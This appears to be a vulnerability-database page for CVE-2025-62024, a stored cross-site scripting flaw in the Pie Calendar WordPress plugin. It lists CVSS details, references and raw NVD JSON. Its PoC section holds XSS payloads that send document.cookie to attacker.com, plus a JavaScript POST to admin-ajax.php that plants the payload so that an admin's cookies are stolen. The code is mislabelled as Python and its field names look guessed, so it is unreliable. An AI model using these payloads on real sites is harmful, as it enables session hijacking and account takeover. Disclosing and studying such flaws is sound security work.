CVE-2025-62024

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonathan Jernigan Pie Calendar pie-calendar.This issue affects Pie Calendar: from n/a through <= 1.2.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Pie Calendar WordPress Plugin <= 1.2.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-62024 PoC - Stored XSS in Pie Calendar WordPress Plugin -->
<!-- Requires low-privilege WordPress account -->

<!-- Step 1: Create malicious calendar event via WordPress admin or API -->
<!-- Payload: <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie> -->

// Example POST request to create event
const payload = {
  'pie_calendar_event_title': '<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>',
  'pie_calendar_event_description': 'Malicious XSS payload',
  'pie_calendar_event_date': '2025-12-25',
  'action': 'pie_calendar_save_event',
  'nonce': 'YOUR_NONCE_VALUE'
};

fetch(window.location.origin + '/wp-admin/admin-ajax.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: new URLSearchParams(payload)
});

// Step 2: When admin visits calendar page, XSS executes
// Attacker receives admin cookies via the onerror handler

/*
Remediation:
1. Implement input validation on all user-supplied fields
2. Use htmlspecialchars() or esc_html() before output
3. Implement Content Security Policy (CSP) headers
4. Update to Pie Calendar >= 1.3.0
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62024
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62024
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62024/
[4] VulDB https://vuldb.com/cve/CVE-2025-62024
[5] https://patchstack.com/database/Wordpress/Plugin/pie-calendar/vulnerability/wordpress-pie-calendar-plugin-1-2-9-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62024", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:03.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonathan Jernigan Pie Calendar pie-calendar.This issue affects Pie Calendar: from n/a through <= 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pie-calendar/vulnerability/wordpress-pie-calendar-plugin-1-2-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}